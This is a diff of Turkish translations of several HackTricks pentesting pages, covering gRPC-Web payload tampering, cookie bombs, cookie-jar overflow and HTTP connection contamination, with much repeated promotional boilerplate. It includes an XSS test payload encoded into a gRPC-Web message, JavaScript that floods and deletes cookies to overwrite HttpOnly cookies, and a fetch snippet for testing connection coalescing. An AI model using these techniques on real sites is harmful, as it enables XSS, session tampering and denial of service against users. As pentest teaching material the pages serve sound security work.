* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
</details>
GNU/Linux sistemleri için, geçici dosya adlandırmasındaki rastgelelik sağlamdır, bu da adların ne tahmin edilebilir ne de brute force saldırılarına karşı savunmasız olduğu anlamına gelir. Daha fazla ayrıntı ilgili belgede bulunabilir.

View file

@ -1,28 +1,29 @@
# gRPC-Web Pentest
# Pentesting gRPC-Web
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **gRPC-Web Payloadlarını Manipüle Etmek**
gRPC-Web, isteklerde `application/grpc-web-text` Content-Type kullanır, bu da protobuf'ün base64 kodlu hali gibidir. [gprc-coder](https://github.com/nxenon/grpc-pentest-suite) aracını kullanabilir ve ayrıca [Burp Suite Eklentisini](https://github.com/nxenon/grpc-pentest-suite) yükleyebilirsiniz.
## **gRPC-Web Yüklerini Manipüle Etme**
gRPC-Web, isteklerde `application/grpc-web-text` Content-Type'ını kullanır; bu, base64 kodlu protobuf biçimindedir. [gprc-coder](https://github.com/nxenon/grpc-pentest-suite) aracını kullanabilir ve ayrıca [Burp Suite Extension](https://github.com/nxenon/grpc-pentest-suite) yükleyebilirsiniz.
### **gGRPC Coder Aracıyla El ile**
1. İlk olarak payload'u çözün:
### **gGRPC Coder Aracı ile Manuel**
1. Öncelikle yükü çözün:
```bash
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
```
2. Kod çözülmüş yükün içeriğini düzenleyin
2. Çözülmüş yükün içeriğini düzenleyin
```
nano out.txt
2: {"Amin Nasiri Xenon GRPC"}
@ -30,12 +31,6 @@ nano out.txt
7: {"<script>alert(origin)</script>"}
```
3. Yeni yükü kodlayın
```bash
$ echo -n 'PAYLOAD' | base64
```
Bu komut, PAYLOAD'u base64 formatında kodlar. Sonuç, yeni payload'unuz olacaktır.
```bash
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
```
@ -43,17 +38,17 @@ protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
```
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
```
### **gRPC-Web Coder Burp Suite Uzantısı ile El ile Kullanım**
[gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) içerisindeki gRPC-Web Coder Burp Suite Uzantısını kullanabilirsiniz, bu daha kolaydır. Kurulum ve kullanım talimatlarını depoda okuyabilirsiniz.
### **gRPC-Web Coder Burp Suite Eklentisi ile Manuel**
[gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) içinde gRPC-Web Coder Burp Suite Eklentisini kullanabilirsiniz, bu daha kolaydır. Kurulum ve kullanım talimatlarını reposunda okuyabilirsiniz.
## **gRPC-Web Javascript Dosyalarının Analizi**
Her gRPC-Web uygulamasında en az bir Javascript dosyası bulunur. Dosyayı analiz ederek yeni mesajları, uç noktaları ve servisleri bulabilirsiniz. [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) aracını deneyin.
1. Javascript gRPC-Web dosyasını indirin.
## **gRPC-Web Javascript Dosyalarını Analiz Etme**
Her gRPC-Web uygulamasında en az bir Javascript dosyası vardır. Yeni mesajlar, uç noktalar ve hizmetler bulmak için dosyayı analiz edebilirsiniz. [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) aracını kullanmayı deneyin.
1. Javascript gRPC-Web Dosyasını İndirin
2. grpc-scan.py ile tarayın:
```bash
python3 grpc-scan.py --file main.js
```
3. Çıktıyı analiz edin ve yeni uç noktaları ve yeni hizmetleri test edin:
3. Çıktıyı analiz et ve yeni uç noktaları ve yeni hizmetleri test et:
```
Output:
Found Endpoints:
@ -147,19 +142,20 @@ grpc.gateway.testing.ClientStreamingEchoResponse:
```
## Referanslar
* [Amin Nasiri tarafından yazılan gRPC-Web'e Sızma Makalesi](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
* [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite)
* [gRPC-Web'e Sızma Makalesi - Amin Nasiri](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
* [gRPC-Web Pentest Seti](https://github.com/nxenon/grpc-pentest-suite)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın.**
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,34 +1,36 @@
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
</details>
**`Çerez bombası`**, bir kullanıcıyı hedef alan bir alan adına ve alt alan adlarına **önemli miktarda büyük çerez eklemeyi** içerir. Bu eylem, kurbanın sunucuya **aşırı boyutlu HTTP istekleri göndermesine** neden olur, bu istekler daha sonra sunucu tarafından **reddedilir**. Bunun sonucunda, bu alan adı ve alt alanlarındaki bir kullanıcıya özel olarak hedeflenen bir Hizmet Reddi (DoS) oluşturulur.
Bu konuda güzel bir **örnek**, şu yazıda görülebilir: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
Daha fazla bilgi için, bu sunumu kontrol edebilirsiniz: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**`Cookie bomb`**, bir **alan adına ve alt alanlarına hedeflenen kullanıcılara büyük sayıda büyük çerez eklemeyi** içerir. Bu eylem, mağdurun **aşırı boyutlu HTTP istekleri** göndermesine neden olur ve bu istekler daha sonra **sunucu tarafından reddedilir**. Bunun sonucu, o alan adı ve alt alanlar içindeki bir kullanıcıya özel olarak bir Hizmet Reddi (DoS) indüksiyonudur.
Güzel bir **örnek**, bu yazıda görülebilir: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
Daha fazla bilgi için, bu sunuma göz atabilirsiniz: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,19 +1,20 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Tarayıcıların bir sayfa için depolayabileceği **çerez sayısı sınırlıdır**. Bu nedenle, bir şekilde bir çerezi **kaybolmasını sağlamanız gerekiyorsa**, en eski olanlar silineceği için **çerez kabını taşırabilirsiniz**.
Tarayıcıların bir sayfa için saklayabileceği **çerez sayısında bir sınırı** vardır. Bu nedenle, bir şekilde **bir çerezi yok etmeniz** gerektiğinde, **çerez kavanozunu taşırarak** en eski çerezlerin silineceği şekilde hareket edebilirsiniz:
```javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
@ -25,25 +26,26 @@ for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}
```
Üçüncü taraf alan adına işaret eden çerezlerin üzerine yazılmayacağını unutmayın.
Notice, that third party cookies pointing to a different domain won't be overwritten.
{% hint style="danger" %}
Bu saldırı, **HttpOnly çerezlerin üzerine yazmak için kullanılabilir çünkü silebilir ve istediğiniz değerle yeniden ayarlayabilirsiniz**.
Bu saldırı, **HttpOnly çerezlerini silip ardından istediğiniz değerle sıfırlayarak üzerine yazmak için de kullanılabilir**.
Bunu [**bu yazıdaki laboratuvarla**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/) kontrol edin.
Bunu [**bu laboratuvar içeren yazıda**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/) kontrol edin.
{% endhint %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,43 +1,45 @@
# HTTP Bağlantı Kontaminasyonu
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Bu, yazının özeti: [https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**. Daha fazla ayrıntı için kontrol edin!
**Bu, gönderinin bir özetidir: [https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**. Daha fazla ayrıntı için kontrol edin!
Web tarayıcıları, paylaşılan IP adresleri ve ortak bir TLS sertifikası ile farklı web siteleri için tek bir HTTP/2+ bağlantısını [HTTP bağlantı birleştirme](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing) aracılığıyla yeniden kullanabilir. Bununla birlikte, bu, ters proxy'lerdeki **ilk istek yönlendirmesi** ile çelişebilir, burada ardışık istekler ilk isteğe göre belirlenen arka uca yönlendirilir. Bu yanlış yönlendirme, özellikle joker TLS sertifikaları ve `*.example.com` gibi alan adları ile birleştiğinde güvenlik açıklarına yol açabilir.
Web tarayıcıları, paylaşılan IP adresleri ve ortak bir TLS sertifikası aracılığıyla farklı web siteleri için tek bir HTTP/2+ bağlantısını [HTTP bağlantı birleştirme](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing) kullanarak yeniden kullanabilir. Ancak, bu, ilk isteğe dayalı yönlendirme ile ters proxy'lerde çelişebilir; burada sonraki istekler, ilk isteğe göre belirlenen arka uca yönlendirilir. Bu yanlış yönlendirme, özellikle joker TLS sertifikaları ve `*.example.com` gibi alan adları ile birleştirildiğinde güvenlik açıklarına yol açabilir.
Örneğin, `wordpress.example.com` ve `secure.example.com` aynı ters proxy tarafından sunuluyor ve ortak bir joker sertifikası varsa, bir tarayıcının bağlantı birleştirmesi, `secure.example.com` isteklerinin yanlışlıkla WordPress arka ucu tarafından işlenmesine neden olabilir ve XSS gibi güvenlik açıklarını sömürme imkanı sağlar.
Örneğin, `wordpress.example.com` ve `secure.example.com` aynı ters proxy tarafından sunuluyorsa ve ortak bir joker sertifikasına sahipse, bir tarayıcının bağlantı birleştirmesi, `secure.example.com` için yapılan isteklerin yanlış bir şekilde WordPress arka ucu tarafından işlenmesine neden olabilir ve XSS gibi güvenlik açıklarını istismar edebilir.
Bağlantı birleştirmesini gözlemlemek için Chrome'un Ağ sekmesi veya Wireshark gibi araçlar kullanılabilir. İşte test için bir örnek:
Bağlantı birleştirmesini gözlemlemek için Chrome'un Ağ sekmesi veya Wireshark gibi araçlar kullanılabilir. İşte test için bir kesit:
```javascript
fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) })
```
Tehdit şu anda ilk istek yönlendirmesinin nadir olması ve HTTP/2'nin karmaşıklığı nedeniyle sınırlıdır. Bununla birlikte, IP adresi eşleme gereksinimini gevşeten HTTP/3'teki önerilen değişiklikler, MITM saldırısı olmadan daha fazla saldırı yüzeyi oluşturabilir ve özellikle joker sertifikası olan sunucuları daha savunmasız hale getirebilir.
Tehdit şu anda ilk istek yönlendirmesinin nadirliği ve HTTP/2'nin karmaşıklığı nedeniyle sınırlıdır. Ancak, IP adresi eşleşme gereksinimini gevşeten HTTP/3'teki önerilen değişiklikler, saldırı yüzeyini genişletebilir ve bir MITM saldırısına ihtiyaç duymadan, joker sertifikaya sahip sunucuları daha savunmasız hale getirebilir.
En iyi uygulamalar, ters proxylerde ilk istek yönlendirmesinden kaçınmayı ve özellikle HTTP/3'ün ortaya çıkmasıyla joker TLS sertifikalarına dikkat etmeyi içerir. Bu karmaşık, birbirine bağlı zayıflıkların düzenli olarak test edilmesi ve farkında olunması, web güvenliğini korumak için önemlidir.
En iyi uygulamalar, ters proxylerde ilk istek yönlendirmesinden kaçınmayı ve özellikle HTTP/3'ün gelişiyle birlikte joker TLS sertifikaları konusunda dikkatli olmayı içerir. Bu karmaşık, birbirine bağlı zafiyetlerin düzenli test edilmesi ve farkında olunması, web güvenliğinin korunması için kritik öneme sahiptir.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* Hacking hilelerinizi paylaşarak PR'lar göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
# HTTP/2 Düşürmelerinde İstek Smugglingi
# HTTP/2 Düşürmelerinde İstek Smuggling'i
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
